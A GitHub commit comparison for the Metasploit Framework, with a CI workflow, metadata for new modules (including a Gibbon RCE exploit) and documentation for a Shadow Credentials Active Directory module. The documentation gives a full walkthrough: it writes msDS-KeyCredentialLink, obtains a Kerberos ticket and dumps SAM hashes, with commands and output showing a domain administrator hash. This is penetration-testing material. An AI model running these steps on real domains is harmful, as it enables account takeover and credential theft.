Compare commits

...

52 Commits

Author SHA1 Message Date
Metasploit 0df68e8199 automatic module_metadata_base.json update 2024-04-10 11:08:23 -05:00
Spencer McIntyre aa739cd92d Land #18962, rancher audit logs information leak
new post module: rancher audit logs sensitive information leak (CVE-2023-22649)
2024-04-10 11:51:54 -04:00
Spencer McIntyre f579ec7a1a Clean table printing, document tested version 2024-04-10 11:31:55 -04:00
Metasploit f8331f4201 automatic module_metadata_base.json update 2024-04-10 06:55:53 -05:00
Spencer McIntyre 76145c3091 Land #19064, SNMP TCP support 2024-04-10 07:38:35 -04:00
cgranleese-r7 53efed1606 Land #19022, Add MySQL Arch & Platform detection by query 2024-04-10 12:24:08 +01:00
adfoster-r7 2346bfe1ee Land #19065, remove db_create mention 2024-04-09 22:30:47 +01:00
Metasploit 894d057715 automatic module_metadata_base.json update 2024-04-09 14:40:06 -05:00
Zach Goldman b8176e13a6 Land #19069, Update create session default values 2024-04-09 15:24:02 -04:00
Metasploit 0b610e4255 automatic module_metadata_base.json update 2024-04-09 09:30:32 -05:00
Spencer McIntyre 8f5052f2e7 Land #19051, Add the Shadow Credentials module 2024-04-09 10:13:08 -04:00
sjanusz-r7 a862b16286 Add MySQL Arch & Platform detection by query 2024-04-09 13:38:07 +01:00
adfoster-r7 8a2b092321 Update create session default values 2024-04-09 12:41:27 +01:00
Noam Rathaus 71538a871f 1. Adjust if end if end to if else end
2. Use ::Rex::Socket create's Proto
2024-04-09 08:39:45 +03:00
Ashley Donaldson 29c6e0a1e5 Removed unused function 2024-04-09 07:53:26 +10:00
Spencer McIntyre 397781f2b1 Land #19059, Fix banner issue in psnuffle 2024-04-08 12:03:06 -04:00
Javier Álvarez 2d819cb029 remove db_create mention 2024-04-08 16:53:17 +02:00
Noam Rathaus bf489f0b0d Allow selection of "TCP" for SNMP packets 2024-04-08 17:41:59 +03:00
Noam Rathaus 01d31612c6 Add support for TCP 2024-04-08 17:41:46 +03:00
Metasploit 9982a46538 automatic module_metadata_base.json update 2024-04-08 06:12:17 -05:00
cgranleese-r7 951da5b00c Land #19056, Don't close sockets that we're using for sessions 2024-04-08 11:51:31 +01:00
Ashley Donaldson 4557de9a72 Changes from code review 2024-04-08 11:47:09 +10:00
Ashley Donaldson b1d0918074 Add documentation for module and functions 2024-04-08 11:32:53 +10:00
Ashley Donaldson 1ce29ae21e Make OpenSSL unit test work on all versions 2024-04-08 11:32:53 +10:00
Ashley Donaldson 5852fcbb78 Error handling and unit tests 2024-04-08 11:32:53 +10:00
Ashley Donaldson 9f5444680f Some error handling 2024-04-08 11:32:52 +10:00
Ashley Donaldson 049c3ebd1d Promote constants to top of file 2024-04-08 11:32:52 +10:00
Ashley Donaldson 209d9dfab0 Help user when they've made a typical mistake 2024-04-08 11:32:52 +10:00
Ashley Donaldson 816d834f83 Add dn-binary unit tests 2024-04-08 11:32:51 +10:00
Ashley Donaldson 1b92d3b110 Working writing of certs over ldap 2024-04-08 11:32:51 +10:00
Ashley Donaldson b6acf708f3 Alias get_ticket to pkinit, since many people will search for that 2024-04-08 11:32:50 +10:00
Ashley Donaldson c55f8f20a8 Add shadow credentials module 2024-04-08 11:32:50 +10:00
Ashley Donaldson 8800a74b27 Wrap credential struct with nicer API 2024-04-08 11:32:50 +10:00
Ashley Donaldson e803be425f Initial work on shadow credentials 2024-04-08 11:32:49 +10:00
Noam Rathaus 705cfb5016 Fix empty banner (never set) issue 2024-04-05 19:24:19 +03:00
Metasploit e184f5e708 automatic module_metadata_base.json update 2024-04-05 09:39:59 -05:00
Christophe De La Fuente 34f0afa298 Land #19044, Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] 2024-04-05 16:20:11 +02:00
Metasploit a0d72680e0 automatic module_metadata_base.json update 2024-04-05 08:42:50 -05:00
Dean Welch 87b84b00fb Don't close sockets that we're using for sessions 2024-04-05 14:33:30 +01:00
adfoster-r7 674249687f Land #19020, consolidate session tests 2024-04-05 14:17:40 +01:00
Dean Welch 434e85261b Add postgres client specs 2024-04-05 13:10:15 +01:00
Dean Welch 25a65c0ed7 Consolidate and simplify session tests 2024-04-05 13:10:15 +01:00
adfoster-r7 a3bba29fb6 Land #19045, add initial mssql module acceptance tests 2024-04-05 13:01:41 +01:00
adfoster-r7 9e670d2f52 Land #19052, Update user agent strings for April 24 2024-04-04 23:43:10 +01:00
Zach Goldman 61f9e36443 add mssql acceptance tests 2024-04-04 12:58:43 -05:00
h00die-gr3y 978fb46e52 added documentation 2024-04-04 17:35:12 +00:00
h00die-gr3y 8afbbc1553 third release module based on smcintyre-r7 comments 2024-04-04 17:14:32 +00:00
Metasploit a6ffb5fae8 Bump version of framework to 6.4.3 2024-04-04 03:35:15 -05:00
Ashley Donaldson da5d8f3471 Update user agent strings for April 24 2024-04-04 14:29:14 +11:00
h00die-gr3y 8aa6d19e7d second release module 2024-04-01 20:21:37 +00:00
h00die-gr3y d8942b27a2 first release module 2024-04-01 14:49:10 +00:00
h00die 251aa021e1 rancher audit logs module 2024-03-13 16:42:51 -04:00
61 changed files with 3063 additions and 659 deletions
+182
View File
@@ -0,0 +1,182 @@
name: Acceptance
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
#concurrency:
# group: ${{ github.ref }}-${{ github.workflow }}
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
pull_request:
branches:
- '*'
paths:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**mssql**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
# - cron: '*/15 * * * *'
jobs:
mssql:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
services:
mssql:
image: ${{ matrix.docker_image }}
ports: ["1433:1433"]
env:
MSSQL_SA_PASSWORD: yourStrong(!)Password
ACCEPT_EULA: 'Y'
options: >-
--health-cmd "/opt/mssql-tools/bin/sqlcmd -U sa -P 'yourStrong(!)Password' -Q 'select 1' -b -o /dev/null"
--health-interval 10s
--health-timeout 5s
--health-retries 5
strategy:
fail-fast: true
matrix:
ruby:
- '3.2'
os:
- ubuntu-latest
docker_image:
- mcr.microsoft.com/mssql/server:2022-latest
- mcr.microsoft.com/mssql/server:2019-latest
env:
RAILS_ENV: test
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
steps:
- name: Install system dependencies
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Extract runtime version
run: |
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d '/:')" >> $GITHUB_ENV
env:
DOCKER_IMAGE: ${{ matrix.docker_image }}
OS: ${{ matrix.os }}
- name: acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
# Unix run command:
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
# Windows cmd command:
# set SPEC_HELPER_LOAD_METASPLOIT=false
# bundle exec rspec .\spec\acceptance
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
run: |
bundle exec rspec spec/acceptance/mssql_spec.rb
- name: Archive results
if: always()
uses: actions/upload-artifact@v4
with:
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
path: tmp/allure-raw-data
# Generate a final report from the previous test results
report:
name: Generate report
needs:
- mssql
runs-on: ubuntu-latest
if: always()
steps:
- name: Checkout code
uses: actions/checkout@v4
if: always()
- name: Install system dependencies (Linux)
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- name: Setup Ruby
if: always()
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- uses: actions/download-artifact@v4
id: download
if: always()
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: allure generate
if: always()
run: |
export VERSION=2.22.1
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
tar -zxvf allure-$VERSION.tgz -C .
ls -la ${{steps.download.outputs.download-path}}
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
find ${{steps.download.outputs.download-path}}
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
- name: archive results
if: always()
uses: actions/upload-artifact@v4
with:
name: final-report-${{ github.run_id }}
path: |
./allure-report
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.2)
metasploit-framework (6.4.3)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
+2 -2
View File
@@ -80,7 +80,7 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.2, "New BSD"
metasploit-credential, 6.0.7, "New BSD"
metasploit-framework, 6.4.2, "New BSD"
metasploit-framework, 6.4.3, "New BSD"
metasploit-model, 5.0.2, "New BSD"
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.3, "New BSD"
@@ -152,7 +152,7 @@ rex-rop_builder, 0.1.5, "New BSD"
rex-socket, 0.1.57, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.56, "New BSD"
rex-text, 0.2.57, "New BSD"
rex-zip, 0.1.5, "New BSD"
rexml, 3.2.6, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
+6 -2
View File
@@ -38,6 +38,10 @@ class SnifferPOP3 < BaseProtocolParser
case s[:last]
when nil
# Its the first +OK must include the banner, worst case its just +OK
# Strip the banner, so that we don't need to do it multiple times
# We can improve the banner by removing the +OK part
s[:banner] = matches.strip
s[:info] = matches
s[:proto] = "tcp"
s[:name] = "pop3"
@@ -62,7 +66,7 @@ class SnifferPOP3 < BaseProtocolParser
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
@@ -91,7 +95,7 @@ class SnifferPOP3 < BaseProtocolParser
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
s[:pass]=""
end
when nil
+193 -6
View File
@@ -6129,7 +6129,7 @@
],
"targets": null,
"mod_time": "2023-03-09 02:09:29 +0000",
"mod_time": "2024-04-02 15:29:47 +0000",
"path": "/modules/auxiliary/admin/kerberos/get_ticket.rb",
"is_install_path": true,
"ref_name": "admin/kerberos/get_ticket",
@@ -6528,6 +6528,73 @@
}
]
},
"auxiliary_admin/ldap/shadow_credentials": {
"name": "Shadow Credentials",
"fullname": "auxiliary/admin/ldap/shadow_credentials",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Elad Shamir",
"smashery"
],
"description": "This module can read and write the necessary LDAP attributes to configure a particular account with a\n Key Credential Link. This allows weaponising write access to a user account by adding a certificate\n that can subsequently be used to authenticate. In order for this to succeed, the authenticated user\n must have write access to the target object (the object specified in TARGET_USER).",
"references": [
"URL-https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab",
"URL-https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials"
],
"platform": "",
"arch": "",
"rport": 389,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2024-04-09 07:53:26 +0000",
"path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb",
"is_install_path": true,
"ref_name": "admin/ldap/shadow_credentials",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
],
"SideEffects": [
"config-changes"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false,
"actions": [
{
"name": "ADD",
"description": "Add a credential to the account"
},
{
"name": "FLUSH",
"description": "Delete all certificate entries"
},
{
"name": "LIST",
"description": "Read all credentials associated with the account"
},
{
"name": "REMOVE",
"description": "Remove matching certificate entries from the account object"
}
]
},
"auxiliary_admin/ldap/vmware_vcenter_vmdir_auth_bypass": {
"name": "VMware vCenter Server vmdir Authentication Bypass",
"fullname": "auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass",
@@ -46967,7 +47034,7 @@
"sybase"
],
"targets": null,
"mod_time": "2024-03-20 15:45:07 +0000",
"mod_time": "2024-04-09 15:24:02 +0000",
"path": "/modules/auxiliary/scanner/mssql/mssql_login.rb",
"is_install_path": true,
"ref_name": "scanner/mssql/mssql_login",
@@ -47239,7 +47306,7 @@
],
"targets": null,
"mod_time": "2024-03-20 15:45:07 +0000",
"mod_time": "2024-04-10 12:24:08 +0000",
"path": "/modules/auxiliary/scanner/mysql/mysql_login.rb",
"is_install_path": true,
"ref_name": "scanner/mysql/mysql_login",
@@ -49395,7 +49462,7 @@
"postgres"
],
"targets": null,
"mod_time": "2024-03-20 15:45:07 +0000",
"mod_time": "2024-04-09 15:24:02 +0000",
"path": "/modules/auxiliary/scanner/postgres/postgres_login.rb",
"is_install_path": true,
"ref_name": "scanner/postgres/postgres_login",
@@ -53791,7 +53858,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2024-03-20 15:45:07 +0000",
"mod_time": "2024-04-09 15:24:02 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_login.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_login",
@@ -54788,7 +54855,7 @@
],
"targets": null,
"mod_time": "2023-12-06 16:52:10 +0000",
"mod_time": "2024-04-08 17:41:59 +0000",
"path": "/modules/auxiliary/scanner/snmp/snmp_login.rb",
"is_install_path": true,
"ref_name": "scanner/snmp/snmp_login",
@@ -99435,6 +99502,75 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gibbon_auth_rce_cve_2024_24725": {
"name": "Gibbon School Platform Authenticated PHP Deserialization Vulnerability",
"fullname": "exploit/multi/http/gibbon_auth_rce_cve_2024_24725",
"aliases": [
],
"rank": 600,
"disclosure_date": "2024-03-18",
"type": "exploit",
"author": [
"h00die-gr3y <h00die.gr3y@gmail.com>",
"Ali Maharramli",
"Fikrat Guliev",
"Islam Rzayev"
],
"description": "A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower\n allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a\n POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.\n As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\n potentially resulting in complete system compromise, data exfiltration, or unauthorized access\n to sensitive information.",
"references": [
"CVE-2024-24725",
"URL-https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725",
"PACKETSTORM-177635",
"EDB-51903"
],
"platform": "Linux,PHP,Unix,Windows",
"arch": "php, cmd, x64, x86",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"PHP",
"Unix Command",
"Linux Dropper",
"Windows Command",
"Windows Dropper"
],
"mod_time": "2024-04-04 17:14:32 +0000",
"path": "/modules/exploits/multi/http/gibbon_auth_rce_cve_2024_24725.rb",
"is_install_path": true,
"ref_name": "multi/http/gibbon_auth_rce_cve_2024_24725",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/git_client_command_exec": {
"name": "Malicious Git and Mercurial HTTP Server For CVE-2014-9390",
"fullname": "exploit/multi/http/git_client_command_exec",
@@ -251746,6 +251882,57 @@
]
},
"post_linux/gather/rancher_audit_log_leak": {
"name": "Rancher Audit Log Sensitive Information Leak",
"fullname": "post/linux/gather/rancher_audit_log_leak",
"aliases": [
],
"rank": 300,
"disclosure_date": "2024-02-08",
"type": "post",
"author": [
"h00die"
],
"description": "Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive\n contain a vulnerability where sensitive data is leaked into the audit logs.\n Rancher Audit Logging is an opt-in feature, only deployments that have it\n enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.\n\n Tested against rancher 2.6.0.",
"references": [
"URL-https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr",
"URL-https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options",
"CVE-2023-22649"
],
"platform": "Linux,Unix",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2024-04-10 11:31:55 +0000",
"path": "/modules/post/linux/gather/rancher_audit_log_leak.rb",
"is_install_path": true,
"ref_name": "linux/gather/rancher_audit_log_leak",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": [
]
},
"post_linux/gather/tor_hiddenservices": {
"name": "Linux Gather TOR Hidden Services",
"fullname": "post/linux/gather/tor_hiddenservices",
@@ -0,0 +1,264 @@
## Shadow Credentials Exploitation
If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation.
This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have
the ability to write their own value (whereas user accounts do not).
The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target.
When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file
can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services
are enabled within the domain.
## Lab setup
Set up a domain with AD CS configured.
For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`).
Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below).
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
```powershell
# Create a basic user account
net user /add sandy Password1!
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
net user sandy /expires:never
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
```
Grant Write privileges for sandy to the target account, i.e. `victim`:
```powershell
# Remember to change victim to the name of your target user
$TargetUser = Get-ADUser 'victim'
$User = Get-ADUser 'sandy'
# Add GenericWrite access to the user against the target computer
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)"
$TargetUserAcl.AddAccessRule($GenericWriteAce)
Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)"
```
Finally Verify the Write privileges for the sandy account:
```powershell
PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim'
PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
ActiveDirectoryRights : GenericWrite
InheritanceType : All
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : MSFLAB\sandy
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
```
## Module usage
1. `use auxiliary/admin/ldap/shadow_credentials`
2. Set the `RHOST` value to a target domain controller
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
4. Set the `TARGET_USER` to the victim account
5. Use the `ADD` action to add a credential entry to the victim account
See the Scenarios for a more detailed walk through
## Actions
### FLUSH
Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just
the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users.
### LIST
Read the credential entries and print the Device (Certificate) IDs of currently configured entries
### REMOVE
Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID
instead of deleting the entire property.
### ADD
Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values.
## Options
### TARGET_USER
The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION
(read, write, etc.). The authenticated user must have the appropriate access to this object.
### DEVICE_ID
The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action.
## Scenarios
### Window Server 2022 Domain Controller, Targeting user account
In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module.
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > show options
Module options (auxiliary/admin/ldap/shadow_credentials):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN no The domain to authenticate to
PASSWORD no The password to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
TARGET_USER yes The target to write to
USERNAME no The username to authenticate with
When ACTION is REMOVE:
Name Current Setting Required Description
---- --------------- -------- -----------
DEVICE_ID no The specific certificate ID to operate on
Auxiliary action:
Name Description
---- -----------
LIST Read all credentials associated with the account
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
rhosts => 20.92.148.129
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
domain => MSF.LOCAL
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
username => sandy
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
password => Password1!
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
target_user => victim
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
action => add
msf6 auxiliary(admin/ldap/shadow_credentials) > run
[*] Running module against 20.92.148.129
[*] Discovering base DN automatically
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07
[*] Auxiliary module execution completed
```
The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module.
```msf
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129
rhosts => 20.92.148.129
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim
username => victim
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL
domain => MSF.LOCAL
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
msf6 auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 20.92.148.129
[!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate:
[*] 20.92.148.129:88 - Getting TGT for victim@MSF.LOCAL
[+] 20.92.148.129:88 - Received a valid TGT-Response
[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin
[*] Auxiliary module execution completed
```
The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module:
```msf
msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129
[*] Running module against 20.92.148.129
[*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response
[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response
[*] 20.92.148.129:445 - Service RemoteRegistry is already running
[*] 20.92.148.129:445 - Retrieving target system bootKey
[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919
[*] 20.92.148.129:445 - Saving remote SAM database
[*] 20.92.148.129:445 - Dumping SAM hashes
[*] 20.92.148.129:445 - Password hints:
No users with password hints on this system
[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89:::
```
### Window Server 2022 Domain Controller, Computer account targeting itself
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709
[*] Auxiliary module execution completed
```
Note, however, that attempting to add a second credential will fail under these circumstances:
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).
[-] Failed to update the msDS-KeyCredentialLink attribute.
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights.
[*] Auxiliary module execution completed
```
This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value.
It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication
for any legitimate user relying on the existing value.
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
action => flush
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
action => add
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
